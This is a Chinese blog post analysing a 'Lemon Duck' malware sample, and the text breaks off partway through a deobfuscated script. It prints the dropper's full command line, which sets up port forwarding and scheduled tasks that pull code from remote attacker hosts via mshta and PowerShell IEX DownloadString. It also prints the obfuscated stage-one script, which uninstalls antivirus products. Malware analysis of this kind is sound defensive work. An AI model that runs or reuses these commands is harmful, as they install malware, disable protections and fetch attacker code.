前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >柠檬鸭组织样本分析

柠檬鸭组织样本分析

作者头像
HACK学习
发布2021-02-01 11:28:39
3.3K0
发布2021-02-01 11:28:39
举报
文章被收录于专栏:HACK学习

起因

分析

1.txt

文本内容如下

代码语言:javascript
复制
cmd /c echo RmMrcM >> c:\windows\temp\msInstall.exe&echo copy /y c:\windows\temp\msInstall.exe c:\windows\kNnk.exe>c:/windows/temp/p.bat&echo "*" >c:\windows\temp\eb.txt&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65529 DNSS3  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn BIzdRfgY /tr "c:\windows\kNnk.exe" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.zz3r0.com/page.html?pBS_S-AUDIT"^&schtasks /run /TN Autocheck^&schtasks /delete /TN BIzdRfgY /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN BIzdRfgY /tr "c:\windows\kNnk.exe"^&schtasks /run /TN BIzdRfgY^&schtasks /delete /TN Autoload /f^&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autoload /tr "c:\windows\temp\installed.exe"^&schtasks /run /TN Autoload^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f  %%i in ('tasklist ^^^| find /c /i "cmd.exe"'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo del c:\windows\temp\p.bat>>c:/windows/temp/p.bat&echo c:\windows\temp\installed.exe>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat&cmd /c c:\windows\temp\installed.exe

简单格式化下

代码语言:javascript
复制
cmd /c echo RmMrcM >> c:\windows\temp\msInstall.exe& echo copy /y c:\windows\temp\msInstall.exe c:\windows\kNnk.exe>c:/windows/temp/p.bat&echo "*" >c:\windows\temp\eb.txt&//配置网卡、防火墙echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65529 DNSS3  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&//powershell命令echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&//计划任务配置schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn BIzdRfgY /tr "c:\windows\kNnk.exe" /F) else start /b sc start Schedule^&ping localhost^&//检查定时任务是否已启动sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&//mshta下载马,截至分析时已无法访问schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.zz3r0.com/page.html?pBS_S-AUDIT"^&//计划任务操作项schtasks /run /TN Autocheck^&schtasks /delete /TN BIzdRfgY /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN BIzdRfgY /tr "c:\windows\kNnk.exe"^&schtasks /run /TN BIzdRfgY^&schtasks /delete /TN Autoload /f^&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autoload /tr "c:\windows\temp\installed.exe"^&schtasks /run /TN Autoload^) >>c:/windows/temp/p.bat&//创建批处理,内容为启动服务echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f  %%i in ('tasklist ^^^| find /c /i "cmd.exe"'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo del c:\windows\temp\p.bat>>c:/windows/temp/p.bat&echo c:\windows\temp\installed.exe>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat&cmd /c c:\windows\temp\installed.exe

批处理功能

•设置防火墙规则,转发65532、65531、65529的请求到1.1.1.1•创建计划任务定时启动•写入批处理检测cmd.exe进程•如果cmd.exe进程数量大于10则重启机器

powershell命令 下载执行PS脚本

powershell解码后如下

代码语言:javascript
复制
IEX(New-ObjectNet.WebClient).DownloadString('http://t.amynx.com/gim.jsp')

gim.jsp下载下来是一个Poweshell文件

gim.jsp 第一阶段攻击脚本

gim.jsp

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227eb7bd7999a69fa51fddf9f8ddc79f7c7fffdef7f2c597df7efdf277fbe4fbbb7bdfcbbff872fe7af5bba55bbf30fd993b9fdefbfeabecdb27df1b7dfce264fe719a9e9e64e52a7fb59da60fed375f9db7fe37773efe8d93df38f9f8938fefa477f64da33b0f7777e5d74f761ee017fa9e7e7ff8f0fbafe8377cbe45009eaf72faebd53660ebc7a33bf7ed9b0fe9b307fafb03f3e9564a9fe6e8fcf4d5743bdddfdb75ef12663ff1d36fe85f81fd6adb0e873efbceec84feb56fd23be91ea193d12fdae2cdab87f46f6a5e4ed34f1feaeb77f6a895c5ebc0feb6b783cf0d62a9057e87e03cbb9b664dfb2a5db677d3bccdcb7c76376dde36593b9f36a0187dbfeb35a0373e017e9d76049f9bee69536d160789ff7e09fec9a775f5ecf7f83d7e8f74370585d765f693dbe9d3575f7ef72926ef938f0122cd57d76fb6d36555344d5eaf16d5495e4eb2a6789a5e3d9b36d4a8ced1345f6475f6924853e79775fe7a992d96d973fab3c9a7053ea05fdbfc7559d5edb23a6997795daf4fe8b32f4edfbcfe7df0e5a32f9eff5edf2688e9bccd5e6ea7d76d9dafaafae5226fcfb6e9c5941e60fc765a9593cf0819f439cdd2fbf7763f6beb6a556653faa02ad3157ee2cbcfca6a5ab555bd4a97c56775314bafe8c3674a17bc4caf5e2ff319f5f91921bffc8a3e932fd3bc5cd7e96c96a565995de575716e7fb9a40fe74d9b2ffbf80099fd7d834c556a4f84501c9b67d3fbfbf4c5fef512d42334f405c14671a0af3a6868ab3836f7ee73ffed345f2eab69ba3be6ff3ec3c4d170e463d34dfa70effefd4fb9fd326f9ba24cf72fab76ff92077efd8e50a5afb4f1ca0c269f66e7fa3b4dfbb248f377f9384061f6fac5d3d7021b1248a34f2f96c59226133d8554752f4feff21f18ee622aa0b41be25488606afe411ff7d3559e970d64b3adb3b649f561bebef34b30d18e7f9f4d0964b1a0bfae48b40186d401cdfbac98a757db844c3e172ebe22f4a677991d5a924fbc91bfc997c5f3193133b1fd217d0524091cf1ebde3d62cde6ba018b5f55b3657105269ee275703064a45d53fbd34348d602eae3453e8776f9e4ea19d86faa8cf7e217ff9e694302b1585fd4c7dbe00b70d3aaa8a7cd640df0ad9985aa867ce46602b35583d75943d52c81eb4664ebf2d4a22da4e0b74fd2a6c9ca936d9ac425116d79562cbe0bd1dafaacced18edf3ebc4313f53a054f82a7e55dd0f9b8aeeafa743bfd252043f3e59a47fffaf77ffda5e38797bfbffe9ab5d9d3196b85365b908639c7777bf796c577e9c5f4f8f519a1a04d8109b55b9eb5f9459d4127ebb4a5a7af4ebffddd7467e7d37be98bb36fbf39fb6eca235b0a3a3ca2c2a8b96c5a9c17b3ea0b33b2dffff74fbff8f2d5b3f45be99b93d3e7a7af85e29f5dd7f9fa2780fff39ff82e53ff225b5f909ab29fef5d2e0a9a5c854a9407c9f95562fcd56b909b9138c46f7636a7e7fe54023b3b9be03a9d50fad59f539d4c03763b25792a8b672d6b83cb531ac1f06ca161c8358a718f79ecf4032bf46a260b9da327cb45e9c5b2202e7e522b1b556fa49f414444e4582c217777686a57cd4f8fb38c7e19993fe8e716f5411e403dbe73e7fe16a982ba056af4de784de41b2942d470efab4eeb11aca6bc42bfe02d79859aed066d9bd50253f1190b3aa4dc28848f455f2c33108238ec33376f167941df687ffef18bef34e88854758a9f5bf36996d7956174f38a080aa4242a1bda9a4504fcaf42312c11425d91038ffb81642000d423f81dfcb489e5e9fb673196a7cf235c6f948ae3cd2ecbd347a4b8276f89e613fa9dc0f8da4bdfef2a31c36ec28ef48e016ffa8b49c026f637c4ffc57776dba29aa9466fabe5f6d679a10ee62ff9c5f32991883d1c99108b38fdeeec3ce30f41e08ecfb753fa76a9887555705563a22cb2da6a006732b43f3df9f2ec0b60fcf967065146fbba6e3dff0bc8fe985a34a3fa183d366f64dbc0b646427eecc7f41550172c4c889df32f1803bcc3e5ba768e9e34df1553c93018f2365b4cf9f297c80fede097fc987eaae4fb31f3f78fd18be68fb25c2fb7db7545fef31dfcfe1dbc2c5a860466b4938ef853fcaebf607e46fbe9e80ee49ffeb02ac00a7357f09dc62215e0544620fcf46d4ffe474487a75f9cfcfeaf5fd22ff6cb72f17b8f4112c6097367fedaa29f50724d7191bf1ad7f9acaccebf038febe4c7f8c1707fec17dfb9a350e90b010c5db42c32f263d176dce5feb13883e8e0bcb08030f1f6f7f44e633c58695e18b62bcef3a7165b523f0c4bbf6390a9ea2203ea0e0121755378efe0577d459497795fde6365ad1fed6e815bde1097daf19f7ce681d3d63071c468fa12331e08c1af3cc3cb9775d33678d74209b8cff0dcc750c7fc8f729e9db0884fc60e194b2771364536835cbff3695a2deea6a76fbe7a71f605b86ddadc5583081e82fb85b14f7dd1d079c89b324f7fd6706144c44b4c2199b943c3494d80d09d0c5464be51bb45e68022f2a59b8c5ff24be853f5810081851aa64d10f9c518d22fb9236f6e7d42d2621dd4efaafe3daf5e57b543605a7c41adf03a5eb718fce23b7be92fcaad6771ef772ff0397a53e47e89f4615fdce5e6d4ce91de1fcb2f69be5450105dee917ed17777ccbbfe1b7744dee95f7d91befaf25d3e5b9e3d7af4fdebacaeb3ef1169f08aa15ed46aab0ed3297626ec63d84733a1f663f00f4fe4de2ecda476ec4da8fdc49b4c4fdd5a96ea74476027e249f67ae4ee14acf4ba917f00e32e3c974ec78e75e44f353abe69f4ed22f40623e4318267debd4fb78c86801a08259f5af8c2df16f441cfd4ddd992b8f3441a52136ee0cc30d2109c221853cc3bcbe7d3d76a4029e632b674fb2a7f41936dbaf2a243f89d0b68e2e9f8ddf27a918de14a8ef8c3e9f882b2113f709fe84b95d188e39dfade0fe4fbaddff333e61ea6d39d3b9ffeeeac58496cb25730e25b9f7cba45eed71a18b94f7fe2a7a9d19b3b7b7bbbe3f183879fec3c1c8f15f2fd4f3f79707f3c3ed8dffafef7bf5767f3e9f7b69645f5d3a458ea759bd7bfd828e02d1571d2f31098e9727d6e346e5db51919be62592c60948e79c2a6e9f7f3b27a456ea202288bf513116f9e2e560bf4f1770d226526b13b53bb98922d7d39be6e8b7aaddfc38fcb5f7f6f0b509767cd1999df2dcdced00021686d417fcfce6c27df1d134c1fd294deffbefd4c758dd788deb936e86af3adcf3299c6df3821dadfc11cd2ffa8e1b7e437a6d59d3b4ce97a6bf4f4ecabafc677da295acc242944b12799ee35d25126ea64775af8a5a230601b0a7074fac5f18b57a7afbf7a74b9cca14ee4ef375f31b5f8b5975f7c79a2df6efd9eac31e97fbf07fdff136d7049dfe0630e68eecaf79f9435eb98ec50fe6617069fcb8f5df3a78290bfeede7db46adb39ffa15fac3f1340bfe497fc923b13fa69b805aa1134d87a97af2ecfcf7eb136271feacef7f5f7dd07c4753bdf9b7d0744b12f82cdb401bdcdbed3ebfd4ff3267bb2a8ea67349f14a75f526e083d98d8eb0e8973714974851cea67b5fecc5f57edeaba8617b77bfcedd7e3ebf92aab2fe4333bfd42746ac272ba35c248602a10f25c73a0429d8e0d4851538746045632802d32b2ad2411912882f49d8d6b6a7bc8d8696345b236681dbf7ed54789de7558314a9f31a0dd9d773b18f3c79261d8c19ff8ec336270ebf7afde9d8e57680da674d3f7d9ce6ef6edd9f32f7fd1f9aa7ef0ead3dfe72c3fdffde95d827439fd89af56cff7eefea09cfcf4eae4f9d39f9edc3ff862e7e4feef53ae7fd177df2e4fbeca5f3c9fef9fe7bfa8d87ff58377cb7bd3e3d73f7530bd7afb6aa7deb9470ee3f3c9faf9ea60f7e079317dfadd9d57bfcfdd370b2491eb7bbfd78345f9eddfe76c5ab43f78f30333febd172fee7d71f5f0ec634d650a1bbffce9fdb7f577cff1dea73fd97e7bb27eb15cbc7971efeee5c1e50574c762f57bd3bf4f763fbfa41fbff7fac16ef5ddc51eb3214865b984b9c412da328bf9847986b42429e9ea8bb18d57ce3dc7f0d04d22cd8c7ebc8967303bdaecc5674cf6ef4fe9dff1f8de83ddefc1927c3611f6f8c577e893b4bdd84ea7e2a38385a090a7636e36956687f42ffb0d5ba42b39e2ceaa7279553da53f49832cf3a224793a99e4df1db7645108077a813e0126f4db15fd4a0cfc1940fe628193890f4e8a195ca09106eb68fa7b36fbe28b6b7a7e7ffa3d95c89ed37164a99f8ad9a07ea13fe8c3df0331f5a5becc0e311b7343dd25b912f9bb6a72d12c38cfbe5a376ce609e7b2682856bf64b713d452b2532a726767874291257cbcbcceaecaec8b6dd2d6c79c766faf27fa19fdb9fb4b3103f54bce083d7cc4fe2ab91194300136f9252216247421ab40855c819621e3b72967fabf5cffee76ee9648e6bef8dd31eafc6d511af705896b40ceeb7c7e45c42546a1843772a6c8cba493bba9a46b633d53b7d4b9f64cbf312a9dfe9b755dfc2406e87aee74492fbd6faf66b0d21f662f36e4a11e3143efdfa3d20b6ea14768fd943bc740d0ffea32eb75edaf541012e05b436c05f13eb8b8a9f6c7dd3666a5c1438059fbc3e638d29f19eaef7efd5612f110c906a98fdfeb7747d7764c3d0ce8af9b90c00bd00c40e563449e061b16ad028e63809399199f1479733ac870a66b7d2f4a06ea6331a52fb7b6d2ad14668ffeb73cabbeb32d13f90eef7effde68f77b77b63e7f51bc2273f3667c3a7d91bf3a7d76fa6a9537d5a43efd495a674db7c61f6f6d7d941ea6bf702bfddd4e5ffce4a3932fbf685e9e4ebfb73fdabd3fdabbfffdedef5467cb8f698595ba4a3f3f7db3fd93d9abb3ec49799aee7d9b9676b72f8fcbaf4ebf5cdef9de36ad0d8db76f6a367e7efae2f337f3f44eca905f7cfc31fdfa1b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
*/

解密后内容如下(参考链接:5分钟解码powershell payload)

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* $2hl  = ")'x'+]43[emOHSP$+]12[eMOhSp$ (& |)63]RaHC[,'NCh'  ECalpeR-  93]RaHC[,'Uft'  ECalpeR- )''+') )43]RaHC[,)911]RaHC[+07]RaH'+'C[+99]R'+'aHC[(ECaLpe'+'R-93]R'+'aHC[,)511]RaHC[+9'+'7]RaHC[+711]RaHC[( '+'eCalpERc- 421]R'+'aHC[,UftQjTUftECaLpeR-63]RaHC[,UftJdCUfteCalpERc-'+' 29]Ra'+'HC[,UftTR9Uft ECaLpeR-  69]RaHC[,)2'+'11]RaHC[+811]RaHC[+20'+'1]RaHC[(  eCalpERc-)UftF/ astR nt/ eteled/ sksathcsF/ 1astR nt/ etUft+Ufteled/ sksathcs'+'F/ 2astR ntUft+Uft/ eteled/ sksathcs}ecroF??? 1 e'+'ulaV- DROWDUft'+'+Uft epyT- noisserpmoCelbasiD wFcs'+'ret'+'emaraPTR9revreSnamnaLTR9secivreSTR9teSlortnoCtnerruCTR9METSYSTR9:MLKHwFc htaP- ytreporPmetI-teS    kcolb=noit'+'ca 531=troplac'+'ol pc'+'t'+'=locotorp ni=rid w'+'FUft+Uft'+'c531ynedwFc=emanU'+'ft+Uft elur dda llawerif llawerifvda hsten    kcolb=noitca 544=troplacolUft+Uft pct'+'=locotorp ni=rid wFc54'+'4yn'+'edwFUft+Uftc=eman elur d'+'da llawerif llaUft+Uftwerifvda hsten    35=troptcennoc 1.1.1.1=sserddatcennoUft+Uftc 92556=tropnetsil 4vot4v dda yxorptroUft+UftpUft+Uft ecafUft+Uftretni exe.hsten    dSNDS 92556 '+'pct gninepotrop dda llawerif exe.hsten c/ exe.'+'dmc    Uft+Uft}'+'  '+'  '+'5 peels-'+'trats        })}w'+'Uft'+'+UftFcdmcim'+'wJdC'+' c- neddih w- llehs'+'rewop c/wFc=etalpm'+'eTeniLdnammoC;wFcexe.dmcTR923metsysTR9swodniwTR9:cwFc=htaPelbatucexE;e'+'ma'+'NehtJdC+wF'+'ccwFc=emaN{@ stnemugrA- wFcnoitpircsbusTR9toUft+UftorwFc eUft+UftcapsemaN-'+' r'+'emusnoCtnevEeniLdnamm'+'Uft+UftoC ssalC- ecnatsnIimW-teS(=rem'+'usnoC;)potS n'+'oitcUft+Uf'+'tArorrE- };wFcsOumetsyS_SOfUft+UftreP_Uft+UftataDdet'+'tamroFfreP_23niWsOu ASI ecUft+Uftnats'+'nItegraTUft'+'+Uft EREHW 0063 NIHTIW tnevEnUf'+'t+UftoitUft+UftacifidoMecnatsnI__ MORF * TCELESwF'+'c=yreuQ;wFcLQWwFc=egaugnaLyreuQ;wFc2vmicTRUft+Uft9toorwF'+'c=ecapSemaNtnevE;emaNehtJdC+wFcfwFc=emaN{@ s'+'tnemugrA- '+'wFcnoitp'+'ircsbusTR9toorwFc ecapSemaN- retliFtn'+'evE__ ssalC- ecnatsnIimW-teS(=retliF{@ stnemugrA- Uft+UftwFcnoitpircsbusTR'+'Uft+Uf'+'t9tooUft+UftrwFc '+'ecapsemaN- gnidniBremusnoCoTretliF__ ssalC- ecnatsnIimW-teS      '+'  )sOupsj.aasOu,sOupsj.asOu(ecalper.))5(gnirtsbus'+'.uJdC,Uft+UftsOu2UsOu(ecalper.))5,0'+'(gnirt'+'sbus.uJdC,sOu1UsOu(ecalper.spmtJdC=dmcimwJdC        '+'naR'+'teg=emaNehtJdC    '+'    U'+'ft+U'+'ft{)suJdC ni uJdC(hcaerofUft+Uft    potS noitcArorrE- };wFcsOumetsyUft+UftS_SOfreP_ataDdettamroFfreP_23niWsOu ASI ecnatsnItegraT EREHW 0063'+' NIHTIW tnevEnoitacif'+'idoMecnatsnI__ MORF * TCELESw'+'Fc=yreuQ;wFcLQWwFc=eg'+'augnaLyreuQ;wFc2vmiUft+UftcTR9toorwFc=ecapSemaNtnevE;wFcllabkcalbwFc'+'=emaN{@ stneUft+UftmugrA- wFcnoitpiUft+UftrcsbusT'+'R9toorwFUft+Uftc ecapSemaN- retliFtnevE__ ssalC- ecnatsnIimW-teS    {)1tiodJdC'+' ton-(fi'+'}{hctac}wFcsOullabkcalbsOuU'+'ft+Uft=emaNwFc retlif- sOunUft+UftoitpircsbusTR9toorsOu ecapSemaNUft+Uft- retliFtnevE__ ssalC- tcejbOIMW-teG=1tiodJdC{yrt}'+'}    5 pUft'+'+U'+'fteels-tra'+'tUft+Ufts        '+'wFcntJdCTR9fntJdCwFc nt/ nur/ sksathcs        1 peelsUft+U'+'ft-trats        }        Uft+Uft}            }{hctac}                }    '+'                llun-tuoQjT)llunJUft+'+'UftdC ,0 ,llunJdC ,llunJdC'+' ,4 ,)))5('+'gnirtsbus.uJdC,sOu2UsOu(ecalper.))Uft+Uf'+'t5,0(gnirtsbus.uJdC,sOu1UsO'+'u(ecalper.spmtJdC,wFcDMC_SPwFc(ecalper.lmX.ksatJdC ,emaN.ksatJdC(ksaTretsigeR.redlofJd'+'C                            {))wFcDMC_'+'SPwFc('+'sniatno'+'C.stneUft+UftmugrA.noitcaJdC(fi                    {yrt                { )snoit'+'cA.noitinUft+UftifeD.ksatJdC ni noitcUft+UftaJdC( hcaerof            {)'+'metiksatJdC ni ksatUft+UftJdC(hcUft+Uftaerof        )Uft+Uft1(sksaTteG.redlofJdC=metiksatJdC        )wFcfntJUft+UftdCTR9wFc(redloFteG.vrstsJdC=redlofJdC        1 peels-trats        '+''+'}        wFcDMC_SP c- neddih w- llehsrewopwFc rt/ F/ wFcntJdCTR9fntJdCwFc nt/ 06 om/ ETUNIM'+' cs/ Uft+Uf'+'te'+'taerc/ sksathcs            { esle }        wFcDMC_SP c- neddih w- llehsrewopwFc rt/ F/ wFcntJdCTR9fntJdCwFc nt/ 06 om/ ETUNIM cs/ metsys ur/ etaerc/ sksUft+'+'Uftathcs            {)asJdC(fi        naRteg = ntJdC        }}naRUf'+'t+'+'U'+'ftteg=fntJdC{esle})naRteg(+sOuTR9swodniWT'+'R9tfoSorUft+'+'UftciMsOu=fntJdC{)asJdC(fi{)2 qe- Uft+Uft3%iJdC('+'fi        }naRteg=fntJdC{)1 qe- 3%iUft+Uf'+'tJdC(fi        }sOUft+Uft'+'usOu=f'+'ntJdC{)0 qe- 3%iJdC(fi        )uJdC,suJdUft+UftC(fOxednI::]yarra[ = iJdC        {)suJdC ni uJdC(hcaerof    }    wFcllabkcalbw'+'Fc rt/ F/ llabkcalb'+' nt/ 021 omUft+Uft/ ETUNIM csUft+Uft/ etaerc/ sksathcs        { esle }    wFcllabkcal'+'bwF'+'c rt/ F/ llabkcalb nt/ Uft+Uft021 om/ ETUNIM cs/ metsys ur/ etaer'+'c/ '+'sksathcs        {)asJdC(fi    {)tiodJdC ton-(fi}{hctac})'+'wF'+'Uft+'+'UftcllabkcalbwFUft+'+'Uftc(ksaTteG.)wFcTR9wFc(redloFt'+'eG.vrstsJdC=ti'+'odJdC{yrt)(tcennoC.vrsts'+'JdCU'+'ft+UftecivreS.eludehcS tcejbOmoC- tcejbO-weN = vrstsJdCUft+Uft)sOumo'+'c.xnyma.tsOu,sOumoc.g9rez.tsOu,sOumUft+UftocUft+Uft.0r3zz.tsOu(@=suJdC}))6%)'+'modnaR-teG(+6( tnuoC- modnaR-teGQj'+'T)221..79+09..Uft+Uft56+75..84(]][rahc[(nioj- nruter{)Uft+Uft(naRteg noi'+'tcnuf)wFcrotartsinimd'+'A'+'wFc ]eloRnItUft+UftliuBswodni'+'Uf'+'t+UftW.Uft+UftlapUft+U'+'fticnirP.ytiruUft+Uftc'+'eS[(eloRnIsI.))(tnerruCteG::]ytitnedIswodni'+'W.lapicnirP.ytiruceS[]lapicnirPswodniW.lapicnirP.'+'ytUft+UftiruceS[(=asJdCsOu))sOusOu'+'*sOusOunioj-))modnar(,DIUU.)tcu'+'dorPmetsySretupmoC_Uft+Uft23niW tcejboimw-teg(,EMANRESU:vneJdC,EMANRETU'+'Uft+UftPMOC:vneJdC(@(+sOusOu?sOu+Uft+UftvJdC+sOupsj.a/sOusOu+lruJdC(a;sOusOu2UsOusOu+sOusOu1UsOusOu+Uft+UftsOusOu//:ptthsOusOUft+Uftu=lruJdC}}})bJdC]][rahc['+'nioj-(xepvfI{Uft+Uft))))]Uft+Uft171..0[dJ'+'dC]][rahc[(nioUft+Uftj-(gnirtS46esaBmorF::]trevnoc['+',Uft+Uft)redivorPecivUft+UftrUft+UfteSotpyrC'+'1AHS.yhpargotpyrC.ytiruceS tcejb'+'O-weN(,bJdC('+'ataDyf'+'irev.rUft+UftJdC(fi;)Uft+UftpJ'+'dC(sretemaraPtrop'+'mI.rJdC;redivUft+UftorPecivreSotpyrCASR.yhpargotpyrC.ytir'+'uceS tcejbO-weN=rJdC;10x0,Uft'+'+Uft00x0,10x0=tnenUft+UftopxE.pJdC;)sOuUft+UftsOu=01aHdLOqfpr7R6YIef1j1'+'vcQUpL2/zlbjpCLDjb58M0C5YluqWknCUeNLh4feqi4Rzxn3cASZ8cwkR0r03mugLbuLp818LicDW0RY/Tm2'+'r3K7mlHYIcitzTzvUft+Uft2NN3Mw9I'+'FUft+'+'UftPj4krWf2'+'6VtHbuNnmTN3/v8vgd'+'mpX'+'B1Gv'+'Xu71oWm2sOusO'+'u(gnirtS46esaBmUft+UftorF::]trevnUft+Uftoc['+'=suludoM.pUft'+'+UftJUft+UftdC;sretemaraPASRUft+Uft.yhpargotpyrC.ytiruceS tcejbO-weUft+UftN=pJdC;]cJdC..371[dJdC=bJ'+'dC{)371 tg- cJd'+'C(fi;tnuoc.dJdC=cJ'+'dC;'+')uJdC(wFcataDdaolnwoDwFc.)tneilpvfCbeW.teN tce'+'pvfjbO-'+'wpvfeN(=dJdC{)uJdC(a noitcnufsOu=spmtJdC)sOuddMMyyyy_sOu tamroF-'+' etaD-teG(+wFcvJdC'+'?wFc=vJdCtratser'+'Uft+Ufton/ sexobgsmsserppus/ '+'tnelisyrev/ wFceUft'+'+Uftxe.000sninuTR9erawlaM-itnATR9setyberawlaMTR91~argorPTR'+'9:CwFc c/ dmcevitcaretn'+'ion/ llatsninu llac wFcsOu%ytiruceS notroN%sOu ekil Uft+UftemanwFc erehw tcudorp exe.cimw b/ trats c/ dmcevitcaretnion'+'/ llats'+'n'+'inu llac wFcsOu%suriVitnA%sOu ekil emanwFc erehw t'+'cudorp exe.cimw b/ trats c/ dmcevitcaretnion/ llatsn'+'inu'+' llac wFcsOu%ytiruceS%sOu ekil emanwFc erehw '+'tcudorp exe.cimw b/ trats c/ dmcevitcaretnion/ Uft+Uftl'+'latsninu llUft+Uftac wF'+'csOu%pva%sOu ekil emanwFcU'+'ft+Uft ereh'+'w tcudorpUft+Uft exe.cimw b/ trats c/ dmcevitcaretnion/ llatsninu llac wFcsOu%tsaUft+Uftva%sOu ekil'+' emanwFc erehw tcudorp exe.cimw b/ trats c/ dmcevitcaretnion/ llatsninu llac wF'+'csOu%%yks'+'re'+'psa'+'K%%sOuUft+Uft ekil'+' emanwFc er'+'ehw tcudorp exe.cimw b/ trats c/'+' '+'dmc'+'evitcare'+'tnio'+'n/ llatsninu Uft+Uftllac wFcsOu%tesE%sOu ekil emanwFc erehw tcudorp eUft+Uftxe.cimw b/ trats c/ d'+'mcUft(( ( )UftUftnIoJ-U'+'ftxUft+]3,1[)(GNiRtsOT.EcNeREFERpesobrEVNCh (.'((" ; ((  GET-VaRIaBlE 2Hl  -vAlUEOn)[- 1..- ((  GET-VaRIaBlE 2Hl  -vAlUEOn).LENGTh ) ]-JoIN'' )
*/

对字符串翻转、美化后

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* ; "(('.( hCNVErbosepREFEReNcE.TOstRiNG()[1,3]+tfUxtf'+'U-JoIntfUtfU) ( ((tfUcm'+'d /c start /b wmic.extfU+tfUe product where cFwname like uOs%Eset%uOscFw calltfU+tfU uninstall /n'+'oint'+'eractive'+'cmd'+' '+'/c start /b wmic.exe product whe'+'re cFwname '+'like tfU+tfUuOs%%K'+'asp'+'er'+'sky%%uOsc'+'Fw call uninstall /nointeractivecmd /c start /b wmic.exe product where cFwname '+'like uOs%avtfU+tfUast%uOscFw call uninstall /nointeractivecmd /c start /b wmic.exe tfU+tfUproduct w'+'here tfU+tf'+'UcFwname like uOs%avp%uOsc'+'Fw catfU+tfUll uninstal'+'ltfU+tfU /nointeractivecmd /c start /b wmic.exe product'+' where cFwname like uOs%Security%uOscFw call '+'uni'+'nstall /nointeractivecmd /c start /b wmic.exe produc'+'t where cFwname like uOs%AntiVirus%uOscFw call uni'+'n'+'stall /'+'nointeractivecmd /c start /b wmic.exe product where cFwnametfU+tfU like uOs%Norton Security%uOscFw call uninstall /noi'+'nteractivecmd /c cFwC:9'+'RTProgra~19RTMalwarebytes9RTAnti-Malware9RTunins000.extfU+'+'tfUecFw /verysilent'+' /suppressmsgboxes /notfU+tfU'+'restartCdJv=cFw?'+'CdJvcFw+(Get-Date '+'-Format uOs_yyyyMMdduOs)CdJtmps=uOsfunction a(CdJu){CdJd=(Nefvpw'+'-Objfvp'+'ect Net.WebCfvplient).cFwDownloadDatacFw(CdJu)'+';Cd'+'Jc=CdJd.count;if(C'+'dJc -gt 